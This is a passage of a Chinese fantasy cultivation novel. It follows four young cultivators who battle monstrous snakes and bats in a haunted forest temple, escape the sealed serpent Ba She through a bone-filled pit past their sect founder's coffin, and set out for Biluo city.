云殷寒沉声道,“搂紧。”
落无忧下意识地紧紧地环绕着他的脖子。
下一刻,残星剑猛然飞出,带着万千剑气飞向那些线条。
与此同时,云殷寒一手托着落无忧,一手丢出一道道符纸。
只见剑气与符纸所到之处,立即生出玄蓝色的火焰,那些冰血蛇瞬间被炸开。
随着此起彼伏的“噼啪”声,无数墨血宛如火星子般往四周溅落。
凡是被那墨血沾到之处,百草腐烂,土壤焦化。
一时间,竟充满了各种味道,焦烂味、腐臭味、冷湿的泥土味等交杂一起,愈发浓烈。
残星剑与无数的符纸在前边开道,云殷寒稳稳的背着落无忧沿着那条路往前走。
落无忧一面紧紧地环住他的脖子,一面轻轻地念着一串串苗语。
随着她话音的落下,他们身后的傀儡发出低低地嘶吼声,画着简单的符印,为他们断后。
###
白秋尽与白隐迢对视一眼。
随后,一黄一青两道光同时飞出。
未凋剑与青山剑双双飞向那些密密麻麻的小蛇。
白秋尽双手结印,秋香色的光芒于她身上缓缓发出。
一个个奇异的图案缓缓浮现,她轻轻一推,符印所到之处,不断的发出“嗞嗞”声,冰血蛇竟硬生生地被烧成干尸。
白隐迢亦是双手结印,他面前缓缓浮现一个个藏青色的符印。
他用力的将那些符印甩出,符印所到之处,此起彼伏的“砰砰”声瞬间响起——
那些冰血蛇竟从内部炸裂,无数的小墨滴飞溅而起。
白秋尽长裙飘动,长发飞舞,眉间温柔之色并未褪下,但手中符印仍旧源源不断地烧着那些小蛇。
白隐迢衣袂翻飞,高马尾随风飘荡,额前碎发亦是随风飘扬,可是少年周身却杀气腾腾,眉眼间戾气更盛。
“阿迢,快走!”
白秋尽的催促声破空而来。
白隐迢看了一眼阿姐,道,“阿姐往前,我这就来!”
白秋尽固执地盯着白隐迢,哄道,“阿迢往前,阿姐断后。”
白隐迢不再言语,一把推开白秋尽,白秋尽只好沿着那条充满墨血残骸与烧焦臭味的路往前跑着。
白隐迢转身面朝继续移来的线条,用力将手中符印推出。
而后,迅速跟着白秋尽。
“砰——”
一声爆炸猛然传来。
无数小蛇被炸得血肉模糊。
###
云殷寒背着落无忧一直前行。
他猛然皱了皱眉,还没来得及开口,便听背上的少女疑惑道,
“这条路上怎会没有冰血蛇呢?”
方才的冰血蛇自四面八方而来,可是当他们破开一道口子时,有一个方向竟没有冰血蛇。
难道,它们是故意引他们到某地么?
云殷寒还未来得及认真思索,便听落无忧惊呼道,
“啊呀!这冰血蛇以怨念为食,本是魔物。那……这禁林中究竟有什么?”
这禁林中究竟有什么东西可以有这么多的怨念供其蚕食?
而这里又是煌瞳的精魂带他们来的,这里的魔物与煌瞳又有什么关系?
————
白秋尽与白隐迢一路往前,在他们前方十几丈处,一个庞然大物在茫茫瘴气中露出一小角。
那是一个古朴的檐角,宛如展翅欲飞的大鹏般静静地林立于茫茫瘴气中,又仿佛冰山一角神秘但令人心中发寒。
“阿姐,那是什么?”
白隐迢惊道。
白秋尽轻微地蹙眉,迟疑道,“可能是……山间野寺。”声音中却含着轻微的惧意。
————
“啊,哥哥!那是……”<
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p>趴在云殷寒身上的落无忧惊呼出声。
只见他们前方的茫茫瘴气渐渐消散,露出一个庞然大物。
那是一个古庙,庙门残破不堪,却透出一股沧桑古朴之味。
云殷寒沉默半晌,伸脚踏入古庙,刚踏入古庙的那一刻,一阵混乱的叫声,笑声,哭声,怨声忽的传来,随即便是无数翅膀扇动的声音。
一群蝙蝠直直地朝两人飞来。
只见,那群蝙蝠比寻常蝙蝠大了不少,通体红色,长着一张张人脸,有女子,男子,老人,婴儿……发出人的叫声,令人感到恶心又渗人。
落无忧感到云殷寒脊背猛然一僵,而后残星化作一道玄蓝色的光猛然飞出,急急斩向那群蝙蝠。
一只蝙蝠猛的发出一声惨叫,随后被斩落头颅,鲜血四射。
在同伴被斩落头颅时,它们并不害怕,而是全部围着那只已死的蝙蝠,食其肉,饮其血。
落无忧与云殷寒皆是一阵恶寒。
魔物。
————
白秋尽两人靠近古庙,看见一具死尸站在外边。
那个死尸一看见两人,便僵硬的朝两人挥出拳头。
两人只得与那个死尸交手。
落无忧察觉有人来了,便往后看了一眼,恰好对上白隐迢的目光。
落无忧急急命令那个傀儡住手。
同时,耳边传来白隐迢惊喜声,
“云大哥!落落!你们也在这!”
白秋尽亦是欣喜万分。
那个东西竟将沿着不同方向的四人都引到了一个地方,这究竟是什么东西?
两人一踏进古庙,便看见云殷寒一面背着落无忧,一面抵挡着蝙蝠。
白隐迢看着那些人首蝙蝠身的东西,心里翻滚着一股呕吐感,同时冷汗阵阵。
他本是锦衣玉食的小公子,自从来了青枫山脉后,见到的东西一个比一个恐怖。
白秋尽亦是眉头轻蹙。
随后,未凋剑与青山剑化作两道光影,斩向那群蝙蝠。
那群蝙蝠胡乱飞舞,躲避着几人的剑光。
白隐迢担忧道,“落落,你怎么了?”
白秋尽眸光一黯,却也担心地看着落无忧。
落无忧此刻才从云殷寒身上下来。
云殷寒沉声道,
“小心点,这儿魔气很浓。”
落无忧默默地点了点头,看着白秋尽与白隐迢,回答道,
“不知为何,我到了禁林中后,体内灵力不断消失,竟与凡人无异。为了躲避蛇虫,哥哥只得背着我……”
落无忧话音刚落,那群蝙蝠再次躁动起来。
一个尖锐又邪魅的女声突然响起。
“小姑娘,你是他的后人?”
几人一惊,落无忧还在思索“他”指的是谁,便只觉掌风铺面而来。
残星剑急急飞出,想要护住落无忧。
玄蓝色的光芒大作,云殷寒硬生生的挡下那人一掌,那人显然是动了杀心,用力极猛。
云殷寒只觉右手发麻,喉咙间竟翻涌上一股血腥味。
那人冷哼一声,又一掌挥出。
这一次云殷寒是无论如何也挡不住了。
一黄一青两道光齐齐飞出。
与此同时,落无忧用苗语低声念着。
当第二掌击退白秋尽与白隐迢时,那个傀儡挺身而来,替落无忧接住了第三掌。
那个傀儡“哗”地一声瞬间灰飞烟灭,死尸之气扑鼻而来,落无忧却来不及嫌弃——
第四掌瞬间袭来,竟比前三掌快了不少,几人来不及反应,掌风便已朝落无忧铺面而来。
“无忧!”
“落落!”
“落落!”
三道声音齐齐惊呼——
却见,第四掌压来的刹那,落无忧腰间的银铃发出淡淡的橙光,将落无忧紧紧地围在内侧——
落无忧墨发飞舞,橙裙翻飞,清脆的铃铛声阵阵响起,时空仿佛突然凝固。
“哈哈哈——”
那人突然停下攻击,发出邪魅尖锐的笑声。
笑到后面,竟夹杂着一股沧桑的悲哀与怨恨,叫人分不清是笑声还是哭声。
几人迅速围近落无忧,防止那人再次攻击。
那群血红色蝙蝠仿佛畏惧什么似的猛然往四周分散。
同时,一道黑色人影缓缓出现。
只见,古庙的神像上静静地立着一个女子。
那女子着一身黑衣,墨发如三千流水般直垂至脚踝。
她肤色呈一种病态的苍白,被全身黑色映得更加诡异。嘴唇青紫,额间是一道六芒星模样的黑色印记——
她是魔?!
几人心中暗道。
那女子直勾勾地盯着落无忧。
落无忧感觉她像是在透过自己去看另一个人,眼神里充满了怨恨与思念。
几人感觉,仿佛下一刻,那女子便会动手击杀落无忧一般。
几人在凝神戒备时,那女子忽然开口,
“几百年了!你将我困于此地几百年了!如今……你竟还要……护他们……”
那声音充满了痛苦,怨恨,无奈,思念等种种复杂情感。
几人听得一头雾水。
那女子忽然化为一道黑光飞身而起,用尖锐邪魅的声音叫道,
“既然如此,你们就代替我留在这古庙中吧!哈哈哈——”
她飞出的刹那,那群人首蝙蝠身的东西发出欢快的叫喊声,同时紧紧地随她一同飞出。
与此同时,几人感觉那座古庙忽然发出无限威压,几人如被高山压着一般,竟是无法动弹分毫。
那女子竟让几人替她留在结界中,而她可以趁此时逃出那个困住她的结界。
一个魔物将现身人间,这定然会搅得人间祸乱四起。
15. 神秘古庙(四)
古庙释放的威压极大,宛如被高山压着般叫人喘不过气来。
对落无忧更甚。
其余三人还可以凝聚灵力来抵抗那股威压,然而落无忧体内的灵力受到压制,无法凝聚起半点。
此刻,她脸色苍白,纯色极淡。额头沁出浅浅的冷汗。
“无忧?”
云殷寒见她非常虚弱,不禁伸手扶住她的手,语气里充满担忧。
落无忧冲他扯出一抹笑,又示意白秋尽和白隐迢不要担心。
“我总觉得,此地与我颇有渊源。”
其实是与她师祖帝无邪,只是她不好透露太多。
“落落先别想太多,我们先想办法出去。”
白隐迢微皱眉头,环顾四周。
白秋尽点了点头,轻声道,
“真相总会水落石出的。”
云殷寒面色凝重,“这个魔物逃脱出去终会危害苍生。”
三人点了点头,几人开始在庙中寻找出口。
却见古庙中的神像面露慈悲,一脸悲悯众生的模样。
然而却在光影交错中显得尤为恐怖。
白隐迢掌心托着一团火焰,火焰散出的光芒照映到他的脸上,愈发的显得他五官精致。
白隐迢托着火焰往角落里寻去,他看见墙上有个图案,便高举火焰往墙边走去。
结果没防备脚下,被一个东西绊着,“啪”的一声往前方摔了个狗啃泥。
“阿迢!”
三人听闻此声便往白隐迢方向走去,却见白隐迢竟一动不动地趴在地上。
三人脸上都挂着担心,落无忧有些畏惧,迟疑叫道,
“白隐迢?”
“我没事!”
白隐迢抬起手臂挥了挥,大声叫着,却依旧没起身。
“咚咚咚——”
地板上响起清脆的敲击声。
“你们快来!”
白隐迢跳起来,神采飞扬,“这底下是空的!”他又施了个诀,手心里的火焰散发光芒。
“还有,你们快看这面墙!”
几人闻言顺着火焰的光芒往墙上看去。
“啊!”
落无忧轻轻扫过一眼,便像见了什么恐怖之物般移开视线,神色非常不自然。
其他三人也面色各异。
只见墙壁上画着一幅怪诞不经的画面。
墙壁上竟是两条蛇交.合的画面。
蛇性本淫,这幅淫.荡不已的壁画与庙中悲悯众生的神像组合起来,显得异常的荒谬绝伦。
“这……这是?”
白隐迢喃喃疑问。
白秋尽低声疑惑,“这是何人所画?此庙供奉的又是什么东西?”
云殷寒率先回过神来,“我们先看看地底下是什么东西吧。”
几人点了点头。
残星剑化作一道白光自云殷寒袖中“唰”的飞出刺向地面。
“铮——”残星剑与地面接触,发出刺耳的声响。
随后,一阵力道排山倒海而来,残星剑倒飞出去。
“啊!你们快看!”
落无忧的声音里带上了一丝惊悚,
“这个神像是不是在看我们?!”
几人立即回过头,果然见到正与他们对上目光的神像。
“它……它是不是笑了?!”
白隐迢惊叫道。
方才还满脸慈悲的神像此刻嘴角竟微微扬起一个诡异的弧度。
几人只觉鸡皮疙瘩直起,后背冷汗阵阵沁出。
神像前面摆着的白烛蓦地被点亮,冷风吹来,使烛焰摇摇晃晃,将神像偌大的黑影投到墙壁上,晃来晃去,愈发的惊悚起来。
白隐迢被吓得瑟瑟发抖,白秋尽走近他,轻唤道,
“阿迢莫怕。”
随后,云殷寒手中的残星剑再次飞出,这次却直朝神像刺去。
神像微笑的弧度越来越夸张了起来。
在残星剑靠近它的那一刻,它竟动了起来。
神像周身发出红黑色的光芒,将残星剑包裹着。
残星剑剑尾在空中不断震动,仿佛是在挣脱某种束缚。
随后,残星剑哗的掉回云殷寒手中。
几人竟从神像的脸上看出了一丝嘲讽。
难道这神像便是困住几人的关键吗?
这个结界原先是用来困住那个魔头,而他们被冰血蛇引入此庙后,那个魔头便伺机而逃,将他们困在此结界中。
既然可以让他们代替她留在结界中,那么这结界里应当还有魔物,方才能骗过结界。
那魔物便是这神像。
似及此,白秋尽几人分工而行。
落无忧灵力受控,还会被这结界影响体能,而白隐迢又胆小,于是云殷寒和白秋尽纷纷持剑斩向神像。
一白一黄两道剑光一左一右朝神像的双目刺去。
只听见“吱”的一声,那看似无法动弹的神像竟转了转身子,随即它竟像人一样走了起来。
神像所踩之地,地板皲裂。
云殷寒和白秋尽各自运转灵力,灵活地从两边往神像身上刺去。
“当——”的巨响此起彼伏,两人却发现,神像毫发无伤——根本刺不进去!
两人对视一眼,再次凝聚灵力,将源源不断的灵力注入宝剑中,再次翻身刺向神像——
依旧毫发无损。
神像缓缓地转了转头,幽幽道,
“轮到我了——”
与此同时,神像身上发出巨大的魔气来,将两人猛然往外震去。
两人一左一右倒在地上,脸色难看。
“何方妖孽?还不现身!”
落无忧提气喊道。
神像将目光缓缓落到落无忧身上,仿佛在思考落无忧在说什么。
落无忧冷笑一声,“你别装聋作哑,别以为你祖宗我看不出你是什么东西!”
神像嘴角的弧度缓缓恢复,它的脸上竟显出一丝惊讶。
“哦?那你说说看。”
落无忧一动不动地回视着神像,鹿眼里尽是清澈明亮,仿佛纯真至极。
“你根本不是由怨念、魔气化作的!通俗一点,你根本不是神像成精——”
落无忧语气一转,将目光悠悠地投向墙壁上□□十足的巨画,
“我猜,你的原形是是只巴蛇!”
此言一出,神庙里霎时安静下来,唯余冷风阵阵。
传说巴蛇为非作歹,被后羿射中赶至西南之地,却未曾想竟被封印在此。
神像嘴角上扬的弧度越来越大,随后只见一缕青黑色光芒自神像中飞
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出,神像轰然倒塌,变为碎片。
“小姑娘,你倒是聪明!”
青黑色光芒在神庙里环绕,不断变大。
云殷寒和白秋尽早已在落无忧拖延时间时便恢复了不少体力,此刻均站起来跑到落无忧和白隐迢身边,神色戒备。
几人见那团青黑色光芒中竟缓缓爬出了一条巨蛇。
那条巨蛇黑体青首,极为诡异。
“吾乃巴蛇。”
巴蛇声音有些沧桑,仿佛历经浓厚岁月而来。
巨大的恨意在它眼中凝聚成形。
落无忧继续拖延着时间,
“你有何可恨?”
被如此询问,巴蛇心中积攒的怨气陡然爆发,竟将神庙都震得动了几下,仿佛摇摇欲坠。
“万万年前被那厮射中驱逐,一路至此,竟还将我困于此地几万年!”
巴蛇眼神悠远,仿佛在透过几万年岁月回顾当初,然而那滔天的恨意却没有随时光而消减半分,反而愈发变得强烈。
“几百年前,有人巧借后羿之阵将那魔头囚于此地,我自然欣喜若狂,终于不是我一人了!然而——”
巴蛇的声音里忽然多了几分癫狂,“你们误打误撞进来,被放走的该是我!凭什么逃出去的是那个魔头和那群恶心的蝙蝠人!!”
“既然如此——你们便乖乖成为我的腹中之物吧!正道修士,往往最是可口哈哈哈哈哈哈——”
随着巴蛇的笑声,神庙在微微颤动,甚至有些灰尘自屋顶坠落。
巴蛇眼中皆是狂热,以极快的速度朝几人移来。
青首高昂,獠牙毕现。
云殷寒和白秋尽双双持剑而上,白隐迢也顾不上害怕,取出青山剑,要与他们二人一同对抗巴蛇,却听白秋尽嘱咐道,
“阿迢莫要离开落落!保护好落落!”
白隐迢咬了咬牙,退回落无忧身旁,一面焦急地看着战况,一面在周围寻找出口。
残星剑泛着蓝光,一条条水蓝色的水龙一一浮现,随即飞向巴蛇,与其斗作一团。
未凋剑发出淡黄色的光,带着万物枯萎之力飞向巴蛇。
巴蛇青首黑尾同时往两边延伸,竟立刻解了两人的剑气。
两人不敢大意,只好丰富周旋,寻找巴蛇弱点,企图将它一击致命。
白隐迢和落无忧在地面上不断摸索着,寻找机关。
暂时出不了阵,也该寻个躲避巴蛇的地方。
云殷寒和白秋尽再次朝巴蛇飞去,两人身形灵活,在巨大的巴蛇周围不断进攻。
巴蛇不断嘶吼,涎液四散,白秋尽有些嫌弃的蹙着眉头。
云殷寒面色未改,手中招式不停。
即便两人天赋异禀,在同龄人中乃佼佼者,可如今的对手是巴蛇。
是那个上古恶兽,修为极高,况且其又被禁万万年,怨气怒气极重,杀伤力极高。
不过一会,两人又再次倒飞出去,猛吐鲜血。
“找到了!”
白隐迢兴奋地大喊着,却还没来得及细说找到什么,便见那条巴蛇再次朝倒地难起云殷寒和白秋尽的方向移去。
情急之下,落无忧顾不得思考便按下那个凸起。
只听巨大的轰隆声传来,几人所在的地面陡然张开,将几人吞进去后又猛然合上。
16. 神秘古庙(终)
地板轰然合上,将巴蛇阻拦在外。
四人心底刚涌现出一丝喜悦,情绪却又立马坠入深渊。
地底一片黑暗,几人下坠时还带着呼呼风声。
“啊——”白隐迢惊喊出声,还在空中扑腾几下。
白秋尽朝声音来的方向抓了几把,手中却只抓到空气。
她只得安抚道,
“阿迢莫怕!”
其余三人还能凭借灵力降低自己落下的速度,而落无忧此刻灵力凝滞,只能一路往下落。
她暗道,底下莫不是有成千上百的蛇群么?
想着她心底闪过一阵恶寒。
她虽然自小生于山间,会施蛊驭虫,可却怕极了除了自己蛊虫以外的其他虫兽。
薄薄的冷汗自落无忧后背缓缓冒出,她心中五味杂陈,不禁微微闭上眼睛。
在这时,一道灵力微微托着她,一阵冷香味扑面而来。
落无忧睁大鹿眼,在无边黑暗中微微看出是云殷寒的身影。是云殷寒用灵力托着落无忧,以免她受伤。
见她疑惑地盯着自己,云殷寒不禁微微侧了侧身,却没开口。
过了半晌,云殷寒才开口道,
“不知底下是什么,大家注意安全。”
他话音方落,几人便至深渊底部。几人落地时不知踩到了什么,发出一阵此起彼伏的“咔擦”声。
落无忧不知踩到了什么突起,脚下不稳,踉跄一步,往前摔去。
所幸,云殷寒离她很近,眼疾手快地揽住了落无忧的腰。
两人皆僵硬了一瞬,方才立即分开,有些不自然地往两边看去。
不同于两人之间的旖旎气氛,白隐迢站定后有些瑟瑟发抖。
白秋尽知道白隐迢害怕,便施了个诀,手中火焰霎时照亮周围。
然而,待几人看清脚下踩的是什么时,均脸色难看。
几人踩在脚下的竟是成堆的白骨。
几人倒吸一口冷气,除了落无忧外纷纷捏诀,火焰照彻整个深渊。
却只见,白骨如山。
“这……这儿怎会有如此多的白骨?”
白隐迢的声音里尽是畏惧。
落无忧缓缓地摇了摇头,“我虽自小长在青枫山脉,可青枫山脉地广人稀,从未听过见过此处。”
“如此多的白骨,想必会有极多的怨灵,大家小心行事。”
云殷寒说着,蹲下仔细查看其那些白骨。
“这些白骨皆是无修为之人。”
“凡人?!”
一向温柔恬静的白秋尽声音里带上了浓浓的不可思议,
“是谁会将他们害的如此境地?!”
“如云大哥所说,那么多的白骨必定会有无数怨灵,然而我们在此地却感知不到任何魔气怨念……”
白隐迢一面环顾四周,一面提气感知周围。
“想必怨灵早已不在此地了。”落无忧接道,耳畔又响起密密麻麻的声音。笑声、哭声、喜悦之声、愤怒之声……男女老少皆有。
落无忧摇了摇头,仿佛要将那些声音尽数摇去,她喃喃道,
“那些人脸蝙蝠莫不是由这里的怨灵所幻化而成的?”
森森白骨,堆积如山,当时必定是一片尸林血海。
残杀苍生,炼化怨灵,究竟为何人所为?其意在为何?
几个人心里都非常沉重。
“走吧,慢慢查,终会水落石出的。”
云殷寒安慰道,随后率先往前走去。
三个人跟在其后。
原来神庙底下竟是个深渊,而这深渊竟联通着一个山洞。
白骨只在深渊里,山洞狭窄,只能供一人而行。
走了几丈后竟开阔起来了,可容四人并肩而行。
几人又走了一会后山洞彻底开阔起来。
几人不解,缓缓走进那宽敞无比的空间里,却见其正中央正摆着一口棺材。
那棺材通体为暗红色,其上布满奇形怪状的符文,显得极为恐怖。
几人欲上前查看一番,却听见白隐迢弱弱道,
“那个,我们非要看看那是什么吗?”
落无忧虽然害怕心下却十分好奇,便打趣道,
“你待在那等我们!”
白秋尽点了点头,认真道,
“阿迢害怕的话就在此地等我们。”
正巧,一阵寒风自白隐迢身后吹来,他猛然打了个哆嗦,叫道,
“不!我不怕!”
随即如风般跑过来,又像只鹌鹑般挤在三人中间。
几人在离那具棺材三丈之远时,那具棺材上的符文忽然发出金色光芒,与此同时,一道结界竟挡住了几人。
想来是墓主人为了防范盗墓吧。
于是几人决定转身离开,出去最重要。
然而就在此刻,落无忧腰间的玉佩和宫铃同时发出巨大的光芒。
落无忧一怔,只觉一股柔和的气息包裹着她。
下一瞬,她竟缓缓地飘了起来。
“落落?”
落无忧被那团光影簇拥着进入结界,一踏入结界,她便只感到一阵彻骨的寒意袭来。
连她吸进去的空气都仿佛掺了冰碴子般,叫人冷至肺腑。
“呼——”落无忧难受的呼出一口气,那团包裹着她的光芒还未停歇,直将她带到棺材旁边。
她腰间的玉佩微微颤动着。玉佩中乃是煌瞳的一缕精魂,此刻却如此躁动不安,极为异常。
落无忧有些不解,她垂首抚了抚玉佩,仿佛在安慰。
她往棺材里头一看,霎时脸色发白,不知是吓的,还是惊的。
那棺盖竟是透明的,里边躺着一名男子。
其面色苍白,发赛白雪,白衣如霜,面容平静,仿佛是睡着了般。
这不是帝无邪又是谁?
结界外几人只见落无忧往棺内看了一眼便双膝跪地,一副极为虔诚的模样。
“师祖在上,请受徒儿一拜!”
落无忧拜完后思绪才缓缓恢复。
师祖的遗体怎会在此地?
青枫宫的墓里确实只有衣冠冢,可为何他的遗体会与魔一起被封印在此地?
若非落无忧在煌瞳的回忆里见过帝无邪,她定定是不敢相信的。
“师祖在上,徒儿无意间被引入此地,还望师祖指明出去的道路。”
落无忧又虔诚地拜了拜。
然而,依旧无事发生。
落无忧眨了眨眼,缓缓站起身来。就在这时,一道白光自棺材内飞出,没入玉佩之中,玉佩霎时变得流光溢彩。
落无忧一怔。
这便是煌瞳的记忆碎片
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之一么?
落无忧恭恭敬敬地再次行了个礼,轻声道,
“师祖,我走了。”
也想有朝一日,她还会回来。
冰冷的结界内忽然起了一阵暖风,仿佛是帝无邪隔着几百年的时光与他的后人告别。
落无忧一踏出结界便觉温暖至极,体内的血液再次流动起来。
几人沿着山洞一路走去。
不知走了多久,几人背后突然传来沙沙的声音。
白隐迢哆哆嗦嗦,有些奔溃,“这又是什么啊?!”
落无忧也有点害怕,斥道,“白隐迢,你千万别叫!你敢叫我就拿蛊虫咬你!”
落无忧本来可以忍住恐惧,但若是白隐迢一尖叫出来,她也会想尖叫。
白隐迢还没来得及反驳,云殷寒手中的残星剑便率先往后刺去,只听“咔擦”一声,残星剑猛然刺入一个硬物中。
白秋尽托着火焰往后方照去,只见几人身后跟着的竟是一具白骨!
白骨正灵巧地躲避着残星剑。
几人心中皆是震惊,这白骨为何有意识?它又是从哪来?从那些成堆的白骨中么?它又为何跟着几人?
几人还在犹豫中,可那具白骨却好似没有一点恶意。
残星剑咻的飞回云殷寒手中,那具白骨在离他们几丈处静静地站着,没有下一步的动作。
云殷寒有些疑惑,
“前辈,你可有何事?”
那具白骨缓缓地点了点头,“你们出去后要去何处?”
几人面面相觑,落无忧轻声回道,
“尚未确定。”
那具白骨好似有些遗憾般的叹了口气。
“前辈怎么了?”
白秋尽问道。
那具白骨微微颤动着,沉默了许久,方才叹道,
“若是你们能到碧落城……可否替我去城南林家同我娘说句话。”
几人见他执念不忘,齐齐点头。
白骨好似笑了笑,继续道,“请诸位告诉我娘,别找我了,还有别忘了按时食药。”
“好。”
云殷寒郑重道。
白骨释然地冲几人道谢,
“多谢诸位。”
说罢一道极浅的白光自那具白骨中飘出,白骨霎时间倒塌在地,化为粉末。
几人盯着白骨消失的地方良久,心里十分复杂。
他们不知道这个青年是何时被杀死化作白骨;他们也不知道他为何没成为怨念;他们更不知道他守着这一执念过了多少年;他们也不知道他的母亲找了他多久……
“走吧。”云殷寒的声音带上了丝涩然。
几人各怀心思,一路上异常的安静。
又不知道走了多久,他们看见一道亮光自远方传来。
他们加快脚步朝那抹亮光走去,直至亮光越来越大,洞口凉风习习,使几人打了个激灵,提起精气神往洞口走去。
几人许久未呼吸到外界新鲜的空气,竟一时间有些忘神。
洞外的世界已经开始下雪了,大雪纷纷扬扬,掩盖六合。
四人安静地站在一片银装素裹中。
“接下来我们要去哪儿啊?”
白隐迢搓了搓手臂问道。
云殷寒看着远方连绵不断的山峦,轻声道,
“碧落城。”
17. 碧落山庄(一)
六合一片银装素裹,青枫下起了从未有过的大雪,远山一片白皑皑的。
几人抽空去寨子里和阿布说了禁林中所见之事,之后才一路往碧落城方向走去。
四人恰好在路上遇见一个赶驴车的老人。
老人驴车上拉着一些新鲜蔬果,在大路上缓慢地前进,正好老人也是去碧落城,他热情地邀请四人一同走。
盛情难却之下,几人欣然同意了。
四个人和老人一同坐在运着新鲜蔬果的驴车上。
大道上仍有积雪,驴车行的很慢,老人却兴致很高。
滔滔不绝的与他们交谈。
“你们从何而来?”
空气沉默了一瞬,云殷寒恭恭敬敬地回答道,
“老人家,我们几人来自各个不同地方,因缘得以相聚于此。”
老人哈哈一笑,“我见你们气度不凡,想来确实应当来自各个宗门世家。”
白隐迢也笑道,“老人家,在大雪方停,道阻且长时你依然可独自一人行走千里去运这些蔬果,想必您年轻时也定豪情万里!”
那个老人嘿嘿地笑着,将目光投向远方连绵不绝的山峦,眼底尽是怀念。
他点了点头,却什么都没说。
驴车吱吱呀呀地往前行驶着,在雪地上留下两道车辙痕迹。
不知过了多久,老人才轻声道,
“老头子我呀,老了……你们不一样,你们还是少年,一切都可以慢慢来的……不过我要提醒你们,成长是需要剥层皮的。”
几人目光微动。
太阳宛如一个光点般挂在上空,阳光普照大地。
然而雪化时却是最冷的。
落无忧想着搓了搓手臂,仰头靠着蔬果,打破了沉默的局面。
“老爷爷,碧落城中没有专门出去运输蔬果的商队么?”
为何他那么大年纪却独自一人去运输。
老人听到这个问题便叹了口气,“小姑娘有所不知,碧落城中向来是碧落山庄做主,他们也会派商队出去运输,再转卖给平民。可谁料,半个月前,碧落山庄里出了事,那蔬果的价格大涨……咱们这些人哪能有那么多的银两去买,于是开始了各家各户自己出去买。”
说到这,几人来了兴趣,落无忧继续问道,
“碧落山庄是出了什么事居然不顾自家生意?”
老人的声音低了下来,“传闻是碧落山庄的大小姐生了病。”
“碧落山庄大小姐生病为何会涨价?碧落山庄是付不起她的药钱么?”
白隐迢插嘴道。
老人摇了摇头,“老朽也搞不清其中关联,不过有一点可以确定,碧落山庄富得流油,倒不像是付不起药钱的样子。”
几人面面相觑,都感到疑惑,却又猜不出个所以然,便只好先放下这件事。
“老爷爷可曾认识碧落城南的林家之人?”
云殷寒将沾到衣服上的干稻草轻轻拂下,问道。
老人摇了摇头。
几人均面露失望。
但转念一想也是正常的,毕竟那个白骨不知是多少年前的了,人间早已物换星移,沧海变桑田了。
在太阳落山之时,几人终于随老人到达了碧落山庄。
大片大片的火烧云挂在天边,将世间万物映照成温暖的粉黄色。
老人非要将几人拉到自己家里,可他们想着接下来行事总有不便,怕会拖累他,便婉言拒绝。
他们往碧落山庄最繁华的酒楼里走去,一路上风尘仆仆的,几人都有些疲惫,随便吃了些便各自往房间走去。
落无忧和白秋尽住一间,云殷寒和白隐迢住一间。
夜风自窗户里吹来,激起一片鸡皮疙瘩。
落无忧起身将窗户关上,又跳回被窝里。
白秋尽从未和别人一同睡在一张床上,竟有些紧张。
落无忧整个人缩在被窝里,只露出一双清澈的鹿眼。
她轻唤道,“白姐姐?”
白秋尽紧绷着身体,同样轻轻地“嗯”了一声。
“除了师父,我从未与别人一同睡一张床上过……”
说着,落无忧不禁有些泄气的。
不知师父如今在做什么?消气了没有?她老人家一个人待着会不会孤独?
白秋尽听出落无忧语气里的一丝思念,心底莫名的软了下来,问道,
“落落,你想家了吗?”
落无忧闭上眼睛,将如一汪清泉般亮晶晶的眼睛遮住,半晌才涩然道,
“嗯。白姐姐,我自小与师父相依为命,这次负气出走历练,实在是不孝……”
白秋尽抬起手,僵了一下,将手放在落无忧肩头上拍了拍。
两人半晌无言,白秋尽往旁边望去,却见落无忧早已睡着,她眼角泛着微光。
白秋尽轻轻地抬手,小心翼翼地为落无忧拭去眼角的泪水。
*
落无忧和白秋尽还在睡梦中便听见白隐迢在门外大喇叭喊着,
“阿姐!落落!”
两人睡眼朦胧地坐在床上,穿好衣服后磨磨蹭蹭地打开门。
落无忧迷迷糊糊地靠在门上,此时的她异常的温和,
“怎么了?”
白隐迢正敲到一半的手就这么僵在了空气中。
落无忧半眯着眼睛,仿佛是一只乖巧的狸猫。
白隐迢的脸猝不及防地红了。
落无忧等了半晌也不见白隐迢说话,脑子渐渐清醒起来,不禁来了脾气,
“白隐迢,你干什么不说话?”
白隐迢一对上她的目光便立刻移开眼,他左看看右瞧瞧,结结巴巴道,
“我是来,叫阿姐,和你,起来吃饭的。”
云殷寒等了许久也不见几人过来,便也过来叫他们三人快些。
却见紫衣少女正睡眼惺忪地靠在门上,青衣少年红着脸结结巴巴。
少年少女,情愫初生,多么美好的一幅画面啊。
云殷寒心底莫名的有些堵,他隐在衣袖里的手不自觉地摩挲着,声音里竟带上了一分不自知的火气。
“怎么那么久了还没好?”
听到云殷寒的声音,白隐迢立刻往后退了几步,看向云殷寒。
落无忧则是仿佛被浇了瓢冷水般瞬间清醒,她摆了摆手。
“我们马上好!”
说完,她“砰”的一下把门关上。留下门外的两人面面相觑。
落无忧走近正在梳洗的白秋尽吐槽道,
“为何要起那么早,就不能多睡会?!”
不同于落无忧恹恹的模样,白秋尽倒是平
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静许多了。
白秋尽将手中的手巾拧干递给落无忧,笑道,
“云大哥一向是卯时便起的。”
“卯时?!”落无忧不可思议地大叫,“疯了吧!为何不能及时行乐,多睡会!”
落无忧在青枫宫里都是接近午时才起的,起先师父还会不满地训斥,后来落无忧屡教不改,修为倒也没有落下多少,师父便也随她而去了。
“云家一向严格,弟子均是卯时起,吃过早饭后便开始修习。”
白秋尽向落无忧解释道,说着拉起她,一同往门外走去。
待到落无忧和白秋尽手牵着手走到桌子前时,店小二已开始陆陆续续地上菜。
漆油炖鸭、酸辣谷花鱼、琵琶肉、竹筒鸡等各式各样的美食琳琅满目,叫人垂涎欲滴。
白秋尽却敏锐地察觉在今早的饭桌上,向来话多的白隐迢却几乎什么话都没说,他也没有抬头看人,只敢垂首吃饭。
而一向淡然情绪稳定的云殷寒却频频出神,不知心中在想什么。
比起他们两个,落无忧就正常多了,她顾着吃美食,眼里眉间哪有半分忧愁。
白秋尽不禁疑惑,
“阿迢?”
“怎么了?阿姐。”
白隐迢立刻抬头,看着白秋尽,却不敢往落无忧那里看上半分。
白秋尽狐疑地摇了摇头,“没事。”
“云大哥?”
云殷寒却没有任何应答。
白秋尽叹了口气,再次唤了一声,
“云大哥?”
“啊?!”
云殷寒猛然回过神。
白秋尽叹了口气,无奈道,
“你们俩发生什么事了?”
“啊?”落无忧有些疑惑地停下筷子,嘴里塞的鼓鼓的,眼神极为无辜。
白秋尽被她逗乐了,笑道,“没说你,你继续吃你的。”
